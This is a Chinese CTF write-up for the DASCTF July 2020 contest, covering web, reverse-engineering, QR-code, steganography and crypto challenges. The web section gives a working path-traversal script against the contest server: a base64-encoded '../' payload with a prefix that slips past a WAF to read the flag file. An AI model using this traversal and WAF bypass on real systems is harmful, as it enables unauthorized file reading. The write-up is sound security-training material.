25号DASCTF七月赛的wp,日常打比赛练练手ing
F12直接给图片SRC,访问提示提交错误时间:
观察GET的参数
t=1595655057&f=Z3F5LmpwZw==
其中t为时间戳,是1970年1月1日以来的秒数,在 https://unixtime.51240.com/ 这个网站可以方面进行查看。
f是字符串"gqy.jpg"的base64转码,可以直接构造出exp结构:
f = '../flag' #读取flag文件 f = base64.b64encode(f.encode("utf-8")).decode("utf-8") url = "http://183.129.189.60:10009//image.php?t=" + str(int(time.time())) + "&f=" + str(f)
读取路径发现问题,有一层WAF过滤("You are not allowed to do that."),测试发现在路径前面随便加上一点东西就可以绕过了。
最终exp:
import requests import time import base64 f = 'a../../../../../../flag' f = base64.b64encode(f.encode("utf-8")).decode("utf-8") print(f) url = "http://183.129.189.60:10009//image.php?t=" + str(int(time.time())) + "&f=" + str(f) print(url) payload = {} headers = {} response = requests.request("GET", url, headers=headers, data=payload) print(response.text.encode('utf8'))
逆向有三题,看赛后也没人写逆向的wp,这里简单分享一下解题思路。
这题给了两个exe,一个是辅助,一个是补丁。
首先看辅助.exe,核心代码如下图:
主要逻辑除了一些字符串输出,就是对输入的注册码进行验证,直接进行明文比较,正确的注册码应该是1_am_n0t_f1ag。
然后再看补丁.exe,核心代码如下图:
主要逻辑除了一些字符串输出,就是对辅助.exe进行注入,第一个注入是对验证注册码的条件判断进行nop,所以,无论输入的注册码是什么,都会验证成功,第二个注入是在一段对齐的无用代码代码段注入了两个数,然后会输出flag{md5(dec(What_you_found))。
当时看到这里着实没啥头绪,感觉是个脑洞题,试了几个答案都错了,就没管了,后来赛后,看群里做出来的师傅说,最后的flag是打的补丁那两个数字里比较大的那一个数的十进制然后再用md5加密。
emmm反正我没试到这个,有点脑洞,但是程序本身不难,也基本说清楚了。
这题真的simple,也拿了一血。
首先看主函数,如图:
很简单的tea加密,本来想下断调试一下,取一下v14最后的值,然后直接写个脚本逆一下就好了。但是调试的时候发现有一点点坑,在第一个函数sub_4110F0里,直接运行结束了。
然后重新调试,跟进去这个个函数,发现里面依然是一个tea加密,所以还是原来的思路运行一下取v8最后的值,然后写个简单的脚本就出来了。
调试得到的加密算法如图:
最后的解密脚本如下:
import struct v6=0xAD4BB459940692AA v7=0x5665FD4EC447C6C9 v8=0xc6ef3733c6ef3720 for i in range(32): v7-=v8^(((v6 >> 5) ^ 16 * v6) + v6) v7&=0xffffffffffffffff v8+=0x61C8864661C88647 v8&=0xffffffffffffffff v6 -= v8 ^ (((v7 >> 5) ^ 16 * v7) + v7) v6&=0xffffffffffffffff print(v8) print(hex(v6),hex(v7)) print(struct.pack('<Q',v6)+struct.pack('<Q',v7))
这题好晚才放,有几个点又卡了一下,赛后过一会才解出来,找出题人验证了一下,答案是正确的。
主函数wmian栈太大了,没办法反编译,试了几个方法也没成功,就直接在开头下断点准备调试看看,然后发现直接闪退,肯定有反调,先处理反调。
直接搜ExitProcess函数的交出引用,可以看到不少反调:
在跳转语句处下断点,跑一遍看看程序的执行流程。要改zf位的跳转语句其实就两个地方:
第一个在回调函数0x041183E处:
第二个在0x041518E处:
然后程序会运行到第一个关键函数sub_415250:
这里注册了一个异常处理函数,然后进行除零操作引发异常,所以关键逻辑其实在sub_411177函数。ida动态调试还是有些缺陷,这个异常处理我断不下来,想调试的话用xdbg或者od。
跟进函数到sub_411EC0,这里是才是核心处理逻辑:
字符替换就是把N换成R,T换成Y,主要看验证函数:
验证函数经过一系列累加运算后,v7数组最后要保证每个数都不大于150,v5要等于dword_41C040,这里直接z3求解就好,这里要把这里的N,Y字符串替换成0,1,然后相乘再累加,因为z3定义的未知数不支持做条件判断,具体操作直接看解密代码:
from z3 import * input = [BitVec('x%d'%i, 12) for i in range(35)] x = [input[i] for i in range(35)] dword_41C0D8=[0x00000008, 0x00000016, 0x0000001A, 0x0000001C, 0x00000018, 0x0000001C, 0x0000000B, 0x00000012, 0x00000012, 0x0000001B, 0x0000001B, 0x00000018, 0x0000001C, 0x00000017, 0x00000018, 0x00000019, 0x00000009, 0x0000000F, 0x00000018, 0x0000001A, 0x00000018, 0x00000017, 0x0000001A, 0x00000019, 0x00000017, 0x00000010, 0x00000019, 0x0000001D, 0x0000001E, 0x00000013, 0x0000001A, 0x00000017, 0x00000012, 0x00000018, 0x0000001D] dword_41C048=[0x00000002, 0x0000000C, 0x0000001A, 0x00000014, 0x0000000D, 0x0000000F, 0x0000000B, 0x00000010, 0x0000000C, 0x0000000C, 0x0000000F, 0x0000000D, 0x00000013, 0x0000000A, 0x00000012, 0x00000010, 0x00000001, 0x00000008, 0x00000011, 0x00000019, 0x00000018, 0x00000016, 0x00000018, 0x00000018, 0x0000000E, 0x00000006, 0x00000005, 0x00000012, 0x00000018, 0x00000005, 0x00000006, 0x00000002, 0x00000001, 0x0000000D, 0x00000014] dword_41C168=[0x0000000D, 0x00000019, 0x0000000D, 0x0000002E, 0x0000000C, 0x0000002B, 0x0000002A, 0x00000004, 0x00000016, 0x0000002E, 0x00000016, 0x00000023, 0x00000024, 0x0000000C, 0x00000018, 0x0000000C, 0x00000030, 0x00000008, 0x00000018, 0x0000001D, 0x00000029, 0x00000007, 0x0000000F, 0x00000006, 0x00000015, 0x00000002, 0x0000001E, 0x00000013, 0x0000000A, 0x00000021, 0x00000026, 0x00000005, 0x00000016, 0x00000013, 0x00000028] sum=0 data=[] result=0xD66 for j in range(35): data.append(dword_41C168[j] * (dword_41C0D8[j] - dword_41C048[j])) s = Solver() for i in range(35): s.add(input[i] < 2) s.add(input[i] >= 0) for i in range(35): sum+=data[i]*input[i] v7=[0 for i in range(35)] for j in range(35): for k in range(dword_41C048[j],dword_41C0D8[j]): v7[k] += dword_41C168[j]*input[j] for j in range(35): s.add(v7[j]<=150) s.add(sum==result) answer=s.check() print(answer) print(s.model()) m=s.model() for i in x: print(m[i].as_long(),end=",") # 1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1
最后再把字符串替换回来:
data=[1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1] flag='' for i in data: if i==1: flag+='Y' else: flag+='N' print(flag) newflag='' for i in range(35): if (i&1)==1: if flag[i]=='Y': newflag+='T' if flag[i]=='N': newflag+='R' else: newflag+=flag[i] print(newflag) # YRNRNRNTNTNRNTNRYRNTNRNRNTYTYTNRYRY
其实有3个地方的0,1可以任意,因为那三处的dword_41C0D8[j] - dword_41C048[j]为0,但是这三处全0应该才是正确答案。
题目源自2020 DASCTF七月赛
链接:https://pan.baidu.com/s/1tIndXUOhCrn6gSP2NSKOiA
提取码:ln2b原题目Hint:每张二维码都有6个字符被编码了,把它们提取出来!
下载得到 QrJoker.gif
,可以看到Gif中每一帧都有半张QR Code,首先把它们都分离出来:
convert QrJoker temp/qr.jpg
对于这种残缺的QR Code,如果是只有右边的话,通常做法是把QR Code填涂在 https://merricx.github.io/qrazybox/ 上,然后借助网站的直接解码功能获得QR Code中的内容
但是这里的残缺QR Code多达64张,最好编写脚本完成(当然一张张描上去也行,但是我懒)
虽然每张QR Code的图案都不一样,但是有三点是一样的:
大小一样;它们都是Version 1的QR Code
格式信息一样;以第一帧的QR Code举例:
红框中读取得到 100101
,前往 https://www.thonky.com/qr-code-tutorial/format-version-tables 查阅,发现匹配上了:
于是知道这张QR Code的纠错等级为 M、掩码为 1;由于只有右边的数据而丢失了左边的纠错码,所以我们不用管纠错等级
右下方数据一样
如果熟悉QR Code的格式的话会知道,右下方是QR Code中数据的起点,它通常包含一张QR Code的编码方式和长度这两种信息;结合题目告知的「每张QR Code包含6个字符」,所以每张QR Code对内容的编码方式、内容长度都是相同的
每张残缺QR Code的数据区域就是上图中的绿色区域,它是一个6×12码元(即基本单位)大小的区域,我们首先用Python的PIL模块将QR Code中的每个码元读取进来
from PIL import Image img = Image.open("temp/qr-0.jpg") width, height = img.size data = [] offset = 5 for y in range(100, height-10, 10): temp = [] for x in range(410, width-10, 10): if img.getpixel((x+offset, y+offset))[0] > 128: # 白色 temp.append("0") else: temp.append("1") data.append(temp)
这里以分离出的第一帧图片为例;代码中主要是一个二重循环,我们可以用Windows中的画图程序将QR Code中每个码元的位置找出来,如:
通过这样,得知每个码元的分辨率是10×10;并且最左上角的码元的位置是(410, 90)
二重循环是每次读取一行的6个数据,依次读取完12行,得到整个6×12区域的数据(代码中,offset
的存在只是为了取到每个码元最中间的像素点)
获得一张QR Code的数据后,根据前面观察图片可知,每张QR Code的掩码都是 1,编号1对应的掩码图案就是:
这个掩码图案比较简单,对QR Code中的数据隔行进行比特翻转:
for i in range(len(data)): if i % 2 == 1: for j in range(len(data[i])): if data[i][j] == "1": data[i][j] = "0" else: data[i][j] = "1"
最终 data
变量就是一个6×12的矩阵,其中存储着摘除了掩码后的QR Code数据
以第一帧图片举例,运行代码得到的
data
为:对应上了摘除掩码后的数据:
有了 data
后,就可以对其中的01字符序列进行处理了
上图是从网上找到的QR Code Version 1的结构图,可以看到,从右下角开始,它的每个数据块都是连续的,不像Version 3一样,块的顺序是不连续的:
所以对获得的 data
的处理就很简单了:
res = "" for i in range(11, -1, -1): res += data[i][5] res += data[i][4] for i in range(0, 12, 1): res += data[i][3] res += data[i][2] for i in range(11, -1, -1): res += data[i][1] res += data[i][0]
按照QR Code Version 1存放数据的顺序,读取出这张QR Code顺序正确的数据
以第一帧的图片为例,最终得到的 res
为:
001000000011011010110011001001101000010001100000000000001110110000010001
这就是第一帧的QR Code的内容了
按照QR Code对数据的编码规则对上面的 res
进行解码
首先看前4 Bits的数据是 0010
,所以它采用的编码模式是字母数字模式(Alphanumeric Mode);然后又因为是Version 1的QR Code,所以内容长度占据9 Bits,内容长度的值是 0x000000110 = 6
所以解码代码为:
res = res[13:13+33] mapping = { 0:'0', 1:'1', 2:'2', 3:'3', 4:'4', 5:'5', 6:'6', 7:'7', 8:'8', 9:'9', 10:'A', 11:'B', 12:'C', 13:'D',14:'E', 15:'F', 16:'G', 17:'H', 18:'I', 19:'J', 20:'K', 21:'L', 22:'M', 23:'N', 24:'O', 25:'P', 26:'Q', 27:'R', 28:'S', 29:'T', 30:'U', 31:'V', 32:'W', 33:'X', 34:'Y', 35:'Z', 36:' ', 37:'$', 38:'%', 39:'*', 40:'+', 41:'-', 42:".", 43:'/', 44:':' } for i in range(0, 33, 11): decode_msg += mapping[int(res[i:i+11], 2) // 45] decode_msg += mapping[int(res[i:i+11], 2) % 45]
第一行代码中,由于已经知道前4 Bits是模式指示符、之后的9 Bits是长度,所以直接截掉;又因为采用Alphanumeric Mode,每两个字符占11 Bits,QR Code中有6个字符,所以有效的只是之后的33 Bits
参考 https://www.thonky.com/qr-code-tutorial/alphanumeric-mode-encoding
代码中的 mapping
是Alphanumeric Mode的映射表,可以参考 https://www.thonky.com/qr-code-tutorial/alphanumeric-table;最后便按照Allphanumeric Mode的编码方式,将每11 Bits解码成2个字符
from PIL import Image decode_msg = "" for num in range(64): img = Image.open("temp/qr-" + str(num) + ".jpg") width, height = img.size data = [] offset = 5 for y in range(100, height-10, 10): temp = [] for x in range(410, width-10, 10): if img.getpixel((x+offset, y+offset))[0] > 128: # 白色 temp.append("0") else: temp.append("1") data.append(temp) for i in range(len(data)): # 摘除掩码 if i % 2 == 1: for j in range(len(data[i])): if data[i][j] == "1": data[i][j] = "0" else: data[i][j] = "1" res = "" # 读取数据 for i in range(11, -1, -1): res += data[i][5] res += data[i][4] for i in range(0, 12, 1): res += data[i][3] res += data[i][2] for i in range(11, -1, -1): res += data[i][1] res += data[i][0] res = res[13:13+33] # 解码 mapping = { 0:'0', 1:'1', 2:'2', 3:'3', 4:'4', 5:'5', 6:'6', 7:'7', 8:'8', 9:'9', 10:'A', 11:'B', 12:'C', 13:'D',14:'E', 15:'F', 16:'G', 17:'H', 18:'I', 19:'J', 20:'K', 21:'L', 22:'M', 23:'N', 24:'O', 25:'P', 26:'Q', 27:'R', 28:'S', 29:'T', 30:'U', 31:'V', 32:'W', 33:'X', 34:'Y', 35:'Z', 36:' ', 37:'$', 38:'%', 39:'*', 40:'+', 41:'-', 42:".", 43:'/', 44:':' } for i in range(0, 33, 11): decode_msg += mapping[int(res[i:i+11], 2) // 45] decode_msg += mapping[int(res[i:i+11], 2) % 45] print(decode_msg) # %56%6A%49%77%65%45%35%48%52%6B%64%69%4D%33%42%72%55%6A%4E%53%55%46%6C%58%4D%54%52%6A%4D%57%52%79%57%6B%5A%61%54%31%5A%55%52%6C%5A%5A%56%57%51%30%56%32%31%57%63%6B%31%45%52%6C%56%4E%56%6B%70%78%56%47%78%56%4E%56%4A%58%53%6B%68%68%52%54%6C%58%54%56%5A%56%64%31%59%79%4D%58%64%69%4D%6B%5A%79%54%6C%52%61%55%6C%64%49%51%6D%46%57%61%32%52%50%54%6C%5A%52%65%46%6F%7A%5A%46%46%56%56%44%41%35
所有QR Code中的数据提取出来后就很简单了,把得到的字符串先 unescape()
,然后多次Base64解码即可得到flag
下载后解压得到 red_blue.png
和 加密了的 flag.rar
看到图片的名字是 red_blue
,以为是双图隐写,用StegSolve导出R通道和B通道上的图片,发现不是;而且B通道上的图片反色后,跟R通道的一模一样
然后用zsteg检索图片的不同通道,发现:
R通道的最低位上隐藏了一张PNG图片的数据,用StegSolve将其导出,得到:
得到压缩包密码,解压 flag.rar
压缩包 flag.rar
存在NTFS隐写,我看别人都是解压软件直接将隐藏的 flag.txt
显示出来了;我是用010 Editor打开 flag.rar
的数据,然后搜索字符串 STM
,检索到两处,因此才怀疑有NTFS隐写
至于为什么检索字符串
STM
,请参考 https://www.rarlab.com/technote.htm#srvheaders,其中有:
STM
是Rar格式文件中,存在备用数据流的标识
既然存在NTFS隐写,就用WinRar将 flag.rar
解压后,cmd下执行 dir /r
,查看到:
notepad
指令将那个 7.jpg:flag.txt
打开,得到:
Ao(mgHXo,o0fV'I2J"^%3&**[email protected],V%$1GCdB0P"X%0RW
然后看向 hint.png
,010 Editor打开,在文件末尾发现奇怪字符串:
依次将这段字符串经过:Base64解码 UrlDecode 核心价值观解码,最终得到字符串 base85
于是将上面 flag.txt
中的字符串用Base85解码:
貌似有人被在线的Base85解码网站坑了?Python3的base64库支持Base85的,并且同时支持Adobe版本和btoa版本
注意
flag.txt
中得到的字符串同时存在单引号和双引号,解码时记住加\
给了下面的代码:
from flag import flag def pairing(a,b): shell = max(a, b) step = min(a, b) if step == b: flag = 0 else: flag = 1 return shell ** 2 + step * 2 + flag def encrypt(message): res = '' for i in range(0,len(message),2): res += str(pairing(message[i],message[i+1])) return res print(encrypt(flag)) # 1186910804152291019933541010532411051999082499105051010395199519323297119520312715722
可以知道 flag
应该是一个数组,里面存储的是数值,每次取其中的两个数值进行 encrypt()
;flag
中的所有数值进行运算后,拼接起来就是最后的结果
假设 flag
肯定是可打印的ASCII字符,因此限定范围爆破:
res = "1186910804152291019933541010532411051999082499105051010395199519323297119520312715722" def pairing(a,b): shell = max(a, b) step = min(a, b) if step == b: flag = 0 else: flag = 1 return shell ** 2 + step * 2 + flag def encrypt(message): res = '' for i in range(0,len(message),2): res += str(pairing(message[i],message[i+1])) return res flag = [] index = 1 while (res != ""): noMatch = 1 for i in range(32, 127): for j in range(32, 127): if encrypt([i, j]) == res[:index]: flag.append(i) flag.append(j) res = res[index:] index = 1 noMatch = 0 break if noMatch == 1: index += 1 print(flag)
爆破得 flag
的每个元素,再转ASCII即可得到 flag{2cd494d489f5c112f3da7a7805b7a730}
[看雪官方培训]《安卓高级研修班(网课)》9月班开始招生!顶尖技术、挑战极限、工资翻倍!
最后于 5小时前 被Ssssone编辑 ,原因: 纠正未解析成功的图片